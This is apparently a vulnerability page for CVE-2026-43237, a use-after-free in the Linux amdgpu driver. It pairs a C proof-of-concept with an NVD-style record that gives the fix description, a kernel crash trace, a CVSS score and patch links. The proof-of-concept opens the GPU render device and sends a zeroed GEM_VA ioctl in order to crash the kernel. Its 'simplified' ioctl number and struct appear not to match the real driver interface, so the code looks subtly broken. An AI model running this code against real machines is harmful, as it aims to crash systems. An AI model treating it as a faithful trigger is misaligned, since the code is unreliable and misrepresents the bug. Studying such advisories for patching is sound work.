CVE-2026-43237

/* * PoC for CVE-2026-43237: Linux Kernel amdgpu Use-After-Free * This PoC demonstrates the IOCTL call flow that triggers the vulnerability. * It requires a system with an AMDGPU device and a vulnerable kernel version. * Compile: gcc -o poc_amdgpu poc_amdgpu.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> // AMDGPU DRM IOCTL definitions (simplified for PoC) #define DRM_AMDGPU_GEM_VA 0x00 #define DRM_IOCTL_AMDGPU_GEM_VA _IOWR(0x64, DRM_AMDGPU_GEM_VA, struct drm_amdgpu_gem_va) // Structure representing the arguments for the VA mapping IOCTL struct drm_amdgpu_gem_va { unsigned long long handle; unsigned long long operation; unsigned long long flags; unsigned long long va_address; unsigned long long offset_in_bo; unsigned long long map_size; }; int main() { int fd; struct drm_amdgpu_gem_va va_args; // Attempt to open the AMDGPU device (typically /dev/dri/renderD128) fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("[+] Attempting to trigger CVE-2026-43237...\n"); // Initialize arguments to simulate the condition causing refcount underflow memset(&va_args, 0, sizeof(va_args)); // Setting specific operation to trigger the vulnerable code path va_args.operation = 0; va_args.handle = 0; // The vulnerability occurs in the ioctl handling logic during fence management if (ioctl(fd, DRM_IOCTL_AMDGPU_GEM_VA, &va_args) < 0) { perror("Ioctl failed"); } else { printf("[+] Ioctl executed. Check kernel logs for panic/crash.\n"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-43237", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:43.960", "lastModified": "2026-05-12T18:55:52.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: Refactor amdgpu_gem_va_ioctl for Handling Last Fence Update and Timeline Management v4\n\nThis commit simplifies the amdgpu_gem_va_ioctl function, key updates\ninclude:\n - Moved the logic for managing the last update fence directly into\n amdgpu_gem_va_update_vm.\n - Introduced checks for the timeline point to enable conditional\n replacement or addition of fences.\n\nv2: Addressed review comments from Christian.\nv3: Updated comments (Christian).\nv4: The previous version selected the fence too early and did not manage its\n reference correctly, which could lead to stale or freed fences being used.\n This resulted in refcount underflows and could crash when updating GPU\n timelines.\n The fence is now chosen only after the VA mapping work is completed, and its\n reference is taken safely. After exporting it to the VM timeline syncobj, the\n driver always drops its local fence reference, ensuring balanced refcounting\n and avoiding use-after-free on dma_fence.\n\n\tCrash signature:\n\t[ 205.828135] refcount_t: underflow; use-after-free.\n\t[ 205.832963] WARNING: CPU: 30 PID: 7274 at lib/refcount.c:28 refcount_warn_saturate+0xbe/0x110\n\t...\n\t[ 206.074014] Call Trace:\n\t[ 206.076488] <TASK>\n\t[ 206.078608] amdgpu_gem_va_ioctl+0x6ea/0x740 [amdgpu]\n\t[ 206.084040] ? __pfx_amdgpu_gem_va_ioctl+0x10/0x10 [amdgpu]\n\t[ 206.089994] drm_ioctl_kernel+0x86/0xe0 [drm]\n\t[ 206.094415] drm_ioctl+0x26e/0x520 [drm]\n\t[ 206.098424] ? __pfx_amdgpu_gem_va_ioctl+0x10/0x10 [amdgpu]\n\t[ 206.104402] amdgpu_drm_ioctl+0x4b/0x80 [amdgpu]\n\t[ 206.109387] __x64_sys_ioctl+0x96/0xe0\n\t[ 206.113156] do_syscall_64+0x66/0x2d0\n\t...\n\t[ 206.553351] BUG: unable to handle page fault for address: ffffffffc0dfde90\n\t...\n\t[ 206.553378] RIP: 0010:dma_fence_signal_timestamp_locked+0x39/0xe0\n\t...\n\t[ 206.553405] Call Trace:\n\t[ 206.553409] <IRQ>\n\t[ 206.553415] ? __pfx_drm_sched_fence_free_rcu+0x10/0x10 [gpu_sched]\n\t[ 206.553424] dma_fence_signal+0x30/0x60\n\t[ 206.553427] drm_sched_job_done.isra.0+0x123/0x150 [gpu_sched]\n\t[ 206.553434] dma_fence_signal_timestamp_locked+0x6e/0xe0\n\t[ 206.553437] dma_fence_signal+0x30/0x60\n\t[ 206.553441] amdgpu_fence_process+0xd8/0x150 [amdgpu]\n\t[ 206.553854] sdma_v4_0_process_trap_irq+0x97/0xb0 [amdgpu]\n\t[ 206.554353] edac_mce_amd(E) ee1004(E)\n\t[ 206.554270] amdgpu_irq_dispatch+0x150/0x230 [amdgpu]\n\t[ 206.554702] amdgpu_ih_process+0x6a/0x180 [amdgpu]\n\t[ 206.555101] amdgpu_irq_handler+0x23/0x60 [amdgpu]\n\t[ 206.555500] __handle_irq_event_percpu+0x4a/0x1c0\n\t[ 206.555506] handle_irq_event+0x38/0x80\n\t[ 206.555509] handle_edge_irq+0x92/0x1e0\n\t[ 206.555513] __common_interrupt+0x3e/0xb0\n\t[ 206.555519] common_interrupt+0x80/0xa0\n\t[ 206.555525] </IRQ>\n\t[ 206.555527] <TASK>\n\t...\n\t[ 206.555650] RIP: 0010:dma_fence_signal_timestamp_locked+0x39/0xe0\n\t...\n\t[ 206.555667] Kernel panic - not syncing: Fatal exception in interrupt"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4562EDA-AFEA-4C62-97CC-C83E109A5F19"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0399b8416ecf64ef86ad23401fe23eabdb07831a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bd8150a1b3370a9f7761c5814202a3fe5a79f44f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e9e477d3197f7d8955a042c0d7f53f78f13218ba", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}